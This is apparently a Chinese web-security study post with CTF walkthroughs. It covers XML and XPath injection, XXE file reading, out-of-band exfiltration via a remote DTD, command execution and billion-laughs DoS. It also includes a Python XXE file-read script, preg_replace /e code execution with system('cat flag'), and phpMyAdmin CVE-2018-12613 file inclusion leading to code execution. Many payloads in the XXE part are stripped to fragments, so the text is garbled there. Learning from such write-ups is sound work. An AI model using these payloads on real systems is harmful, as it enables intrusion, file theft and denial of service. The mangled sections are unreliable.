<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

中的version是版本号,而encoding是语言,而standalone是yes时表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接被忽略这一项

DTD

DTD是控制XML文档的格式规范,可以嵌入xmL文档中,作为内部声明,也可以单独的一个文件,为外部引用。

内部DTD和外部DTD

内部DTD
使用内部的dtd文件,即将约束规则定义在xmL文档中,格式:

1
<!DOCTYPE 根元素名称 [元素声明]

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

其中元素类型

1
2
3
4
5
6
7
8
9
PCDATA类型:被解析的字符串数据,即会被解析器解析的文本

CDATA类型:字符数据,即不会被解析器解析的文本

EMPTY类型:表示空元素

ANT类型:表示带有任何内容的元素

(子元素名称1,子元素名称2,......)类型:表示带有子元素(序列)的元素

外部DTD

  1. 引入外部的dtd文件

    1
    <!DOCTYPE 根元素名称 SYSTEM "dtd路径">
  2. 使用外部的dtd文件(网络上的dtd文件)

    1
    <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的url">
  3. 使用外部DTD时,通过如下语法引入:

    1
    <!DOCTYPE root-element SYSTEM "filename">

示例代码

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

实体引用

1
实体引用是当XML元素以形如<tag>foo</tag>的标签开始和结束,且元素的内部如果存在特殊的字符,会用实体引用来替换特殊字符,而实体引用可以起到宏定义和文件包含的效果

其中预定义的五个实体引用

1
2
3
4
5
6
7
8
9
”<“相当于”$lt“

”>“相当于”$gt“

”&“相当于”$amp“

”'“相当于”$apos“

”"“相当于”$quot“

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式,而实体引用是对实体的引用

实体按参数分类,分为一般实体和参数实体

一般实体

1
<!ENTITY 实体名称“实体内容">

引用一般实体方法为:&实体名称

参数实体

1
<!ENTITY %实体名称 "实体内容">

引用参数实体的方法为:%实体名称

按照实体使用类型分类,又分为内部声明实体和引用外部实体

内部实体

1
<!ENTITY 实体名称 “实体的值”>

示例代码

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

外部实体
用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机

1
2
3
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

示例

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>

参数实体+外部实体

1
<!ENTITY % 实体名称 SYSTEM "URI/URL">

示例

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>

其中%file(参数实体)在DTD中被引用,而&file;是在xmL文档中被引用

DTD属性

属性声明语法

1
<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

1
<!ATTLIST payment Luckey CDATA "Q">

XML实例

1
<payment Luckey="Q" />

XML注入

XML是传输数据和存储数据的,是利用闭合标签来改写XML文件来实现的

XML注入原理

1
XML是数据组织存储的数据结构方式,当用户输入数据时,由于输入的数据没有进行检测和过滤掉特殊字符,所以有可能会改变xmL的结构,插入新的功能,这样便会导致XML注入攻击

XML注入示例

XML注入条件

1
2
3
1. 用户能够控制数据的输入

2. 程序有拼凑的数据

test.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>

</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

当我们可以掌握password字段时,我们可以输入:

1
root</password></admin><admin id="3"><name>hack</name><password>hacker

可以对xml原来结构进行更改,加多了一个hack的用户和密码

修改后的xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>

如果要想XML注入,需要知道

1
2
1. 闭合标签
2. 获取XML表的结构

Xpath注入

Xpath注入攻击是利用Xpath解析器的松散输入和容错特性,能够在url、表单或其它信息上附带恶意的Xpath查询代码,以获取权限信息的访问并更改这些信息,它可以探究使用的XML时如何构造的

Xpath注入攻击的原理和利用

Xpath注入攻击是通过构建特殊输入来作为参数传入到web应用程序中,并通过执行Xpath查询来获取想要的数据,而注入的对象是xmL文件,注入出现位置为

1
cookie、headers、request parameters/input

Xpath是XML路径语言,用于配置文件的查找,数据库就是XML文件,我们是利用Xpath语法的web应用程序没有对输入的Xpath查询做严格的处理,致使存在Xpath注入漏洞

Xpath直接注入

搭建环境
test2.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>

用于接收参数并进行XML查询的php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml=simplexml_load_file('test2.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
?>

simplexml_load_file()

````
返回类SimpleXMLElement的一个对象,该对象的属性包含XML文档的数据

1
Xpath查询语句为

/root/users/user[username/text()=’’and password/text()=’’]

1
攻击者可以利用逻辑漏洞,构造

?name=’or 1=1 ‘’=’&pwd=1

1
2
3
4
5
6
7
这样逻辑上会使查询一直为true,从而查到所有数据信息

#### Xpath盲注

盲注根节点

利用count(/*)判断根下节点

?name=’ or count(/*) = 1 or ‘1’ = ‘2

1
2
3
有返回证明存在一个根节点

利用subsring来分割根节点的每个字符

?name=’ or substring(name(/*[position() = 1]),1,1)=’r’ or ‘1’=’2

1
2
3
得到根节点为root

判断root下一级节点数

?name=’ or count(/root/*) = 1 or ‘1’ = ‘2

1
2
3
返回结果证明存在root下一个节点

猜解root下一级节点

?name=’ or substring(name(/root/*[position() = 1]),1,1)=’u’ or ‘1’=’2

1
2
3
4
5
6
7

## XML外部实体注入(XXE漏洞)

XXE漏洞发生在应用程序解析XML输入时,没有禁止对外部实体的加载,导致加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站及发起dos攻击

而xxe漏洞的触发点在于没有对上传xml文件进行过滤,导致可以上传恶意xml文件
注意:

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞

1
2
3
4
5


### xxe本地搭建

xxe.php
loadXML($xmlfile); $xml=simplexml_import_dom($dom); $xxe=$xml->xxe; $str="$xxe \n"; echo $str; ?>
1
其中函数的作用

file_get_contents——————————获取客户端输入内容

new DOMDocument()————————初始化XML解析器

loadXML($xmlfile)—————————-加载客户端输入的XML内容

simplexml_import_dom($dom)—————获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。

$xml->xxe————————————-获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容

1
上传的xml文件

]>

&file;

1
2
3
4
5
6
7
8
9
其中&file;为qwzf.txt的内容

#### xxe常见利用

##### 读取任意文件

有回显

有xxe漏洞的文件
1
然后通过get提交上传xml文件,即构造payload

?xml=


]>

&file;

1
2
3
4
5
最好将xml转换为url格式,通过构造外部实体payload,在xml文件中&file;变为qwzf.txt文件内容

无回显

如果没有回显的话,可以先在远程服务器部署evil.dtd

“> %payload;

1
2

然后构造paload

%dtd;
%send;
]>

1
2
3
4
5
6
7

被攻击的服务器收到后会调用%data,致使调用外部的dtd文件,然后%file会被调用,变为qwzf.txt的内容,然后调用%send;将读到的数据返还给攻击服务器

##### 使用恶意脚本

环境搭建
xxe2.php
name; ?>
1
2

而后使用脚本

#!/usr/bin/python

-- coding:utf-8 --

import urllib2

if name == ‘main‘:

print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
url = raw_input()
count=1
while count==1:
    print u'输入要读取的文件,如file:///etc/passwd'
    payload = raw_input()
    headers = {'Content-type': 'text/xml'}
    xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
    req = urllib2.Request(url = url,headers = headers, data = xml)
    res_data = urllib2.urlopen(req)
    res = res_data.read()
    print res
1
2
3
4

##### 执行系统命令

可以使用expect扩展在php环境里执行命令

]>

&xxe;

1
2

##### 拒绝服务攻击(dos)

]>
&lol9;

1
2
3
原理:因为lol要引用10次,而lol2有10个lol,所以要引用10的10次方次,以此类推,lol9要引用许多次,所以造成攻击

##### 探测内网端口

]>

&xxe;

1
2
3
4
5

报错,端口未开放;不报错,端口开放


##### 攻击内网网站

]>

&xxe;

```

详细请看:https://xz.aliyun.com/t/6887#toc-4
但是XML注入方面请看本文章,原文章有错

preg_replace远程执行漏洞

preg_replace远程执行漏洞

当打开页面时,会看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

看到这判断时

1
file_get_contents($text,'r')==="I have a dream"

可知,我们的$text里要有 I have a dream,而看到

1
preg_match("/flag/",$file);

可知,我们的$file中不能有flag关键字,但是有提示next.php,因此我们可以使用data伪协议和php伪协议,构造payload

1
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

而后我们通过base64解码,可以看见next.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

通过看见代码

1
2
3
4
5
6
7
8
9
10
11
12
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

我们可以想到preg_replace的远程执行漏洞,因此可以构造payload

1
?.*=${phpinfo()}

但不可以显示,因为“.*”被转义为“_*”,因此使用payload

1
?\S*=${phpinfo()}

而按照next.php的代码,可以利用getFlag()函数里的eval(),因此我们可以构造payload来调用getFlag()函数

1
?\S*=${getFlag()}&cmd=system('cat flag');

preg_replace远程执行漏洞

preg_replace()函数是/e模式时,当匹配成功后,会对替换部分用eval()进行代码的执行

1
2
3
4
5
<?php 

preg_replace("/test/e",$_GET["hack"],"just test");

?>

当我们构造payload

1
?hack=phpinfo();

因为test会与”just test”中的test相匹配进行替换,所以会对替换部分”phpinfo();”进行代码执行

1
eval(phpinfo();)

而防止这个情况发生,现在的代码为

1
2
3
4
5
6
7
8
9
10
11
12
<?php

function complexStrtolower($regex,$value){
return preg_replace('/('.$regex.')/ei','strtolower("\\1")',$value);

}

foreach ($_GET as $regex=>$value){
echo complexStrtolower($regex,$value)."\n";

}
?>

可以看到,此时我们可以控制的变量只有两个,而替换部分不是我们可以控制的量,已经变成了

1
strtolower("\\1")

因此,我们要办法利用替换部分来执行我们的代码,但是当我们preg_replace()匹配成功后,会以eval(‘strtolower(“\1”);’)代码的形式执行,而其中\1实际为\1,而\1在正则表达式中有自己的含义

1
2
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

这里的\1实际上指定的是第一个子匹配项,而

1
2
3
preg_replace('/(\S*)/ei','strtolower("\\1")',"${phpinfo()}");
``
的第一匹配项为${phpinfo()},而其中

”\S*“相当于是除了换行符以外的所有字符串

”.*“相当于是除了换行符以外的所有字符串

1
因此判断项可以使用”\S*“或”.*“匹配输入的字符串,从而使替换部分可以进行代码执行,因此可以按以上的代码构造payload

?.*=${phpinfo()}

?\S*=${phpinfo()}

1
会返回php的版本,而${phpinfo()}这条代码,构造

?\w+=${phpinfo()}

也可以执行,但是”.*“一般在get提交时被转义为”_*“,所以会用”S*“来代替

详细请看:https://xz.aliyun.com/t/2557”

变量覆盖漏洞

变量覆盖漏洞

打开页面,然后用dirsearch扫描。发现.git文件泄露
flag.php

1
2
3
4
<?php

file_get_contents('/flag');
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}

echo "the flag is: ".$flag;

exit()

1
exit()函数会输出一条信息后退出

我们可以利用这个exit()函数来对调用flag.php文件里的file_get_contents(‘/flag’),读出flag出来

因此我们看

1
2
3
foreach($_GET as $x=>$y){
$$x=$$y;
}

中的$$x和$$y,我们可以看到有变量覆盖漏洞,因此我们get提交

1
?yds=flag

让$x=yds,$y=flag,所以

1
”$$x==$$y“相当于”$yds=$flag“

所以我们要办法利用exit($yds),因此我们要通过

1
if(!isset($_GET['flag']) && !isset($_POST['flag']))

这一个条件,所以我们要让$_GET[‘flag’]和$_POST[‘flag’]不存在,所以之前构造的

1
?yds=flag

便符合条件

而如果想利用exit($is)的话,我们可以利用

1
2
3
foreach($_GET as $x => $y){
$$x=$$y;
}

构造get提交

1
?is=flag

便会构成

1
”$$x=$$y“相当于”$is=$flag“

然后我们经过以下条件

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag']))

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')

所以get要提交的参数flag或post要提交参数flag,所以可以构造paload

1
2
3
4
5
6
?is=flag&flag=flag



get提交:?is=flag
post提交:flag=flag

phpmyadmin任意包含文件漏洞及任意代码执行漏洞(CVE-2018-12613)

phpmyadmin任意包含文件漏洞及任意代码执行漏洞

打开页面后,用御剑对网址进行扫描,发现http://url/phpmyadmin/可以进入到phpmyadmin的界面中,此时我们可以想到phpmyadmin4.8.1的任意包含漏洞及任意执行代码漏洞,可以从网址:https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip中下载本地,然后用php5.6版本进行复现

通过审计源码
我们可以从index.php文件中50-63行代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

发现只要满足一下五个条件:

1
2
3
4
5
6
7
8
9
1. $_REQUEST['target']不为空

2. $_REQUEST['target']是字符串

3. $_REQUEST['target']不以index开头

4. $_REQUEST['target']含有的文件不在$target_blacklist=array('import.php','export.php')中

5. Core::checkPageValidity($_REQUEST['target'])为真

而在libraries\classes\Core.php 443-476行的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

其中如果$whilelist为空的话,会自动导入$goto_whilelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

mb_strpos

1
2
3
格式:mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )

含义:int查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推

$_page是取出$page问号前的东西,是考虑到target有参数的情况的话,只要$_page在白名单里面就会返回ture,所以如果第一个步骤不成功的话,还会进行一次url解码,再次进行相同的判断

由于服务器会自动进行一次url解码,所以我们传入二次编码后,会触发checkPageValidity()函数中url解码后的判断,判断问号前面的文件是否在白名单中,在的话返回true,因此构造payload:

1
2
3
4
5
一开始:?index.php?target=db_dataict.php%253f/../../../文件名

服务器url解码后:?index.php?target=db_dataict.php%3f/../../../文件名

checkPageValidity()函数里的url解码后·:?index.php?target=db_dataict.php?/../../../文件名

但是在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,造成任意文件包含

任意文件包含

通过目录穿越看系统目录下的文件

构造payload:

1
index.php?target=db_datadict.php%253f/../../../文件名

其中../的数量看实际情况

任意代码执行

包含数据库中的文件(include包含文件,如果文件是php文件的话,则会执行,如果不是,则会返回文件中的内容)

先查一下数据库的路径:

1
show global variables like "%datadir%"

而后创建数据库及库中的表及表中的字段内容,内容可以为php代码,之后构造payload进行文件包含,并执行恶意代码

包含session文件

session文件路径以实际为主
构造sql语句并夹杂恶意代码,如下:

1
SELECT "php代码"

而后可以使用火狐的web开发者工具中的存储选项中的cookie值中phpmyadmin中的value值,这是生成的session文件名,一般存储位置为上面的数据库路径中的mysql/data改为tmp/tmp

1
?target=db_datadict.php%253f/../../../按实际情况定/按实际情况定/tmp/tmp/sess_cookie中的phpmyadmin中的value值

而其中../以实际为主,要一个一个试

详细请看:https://www.cnblogs.com/leixiao-/p/10265150.html#autoid-1-0-0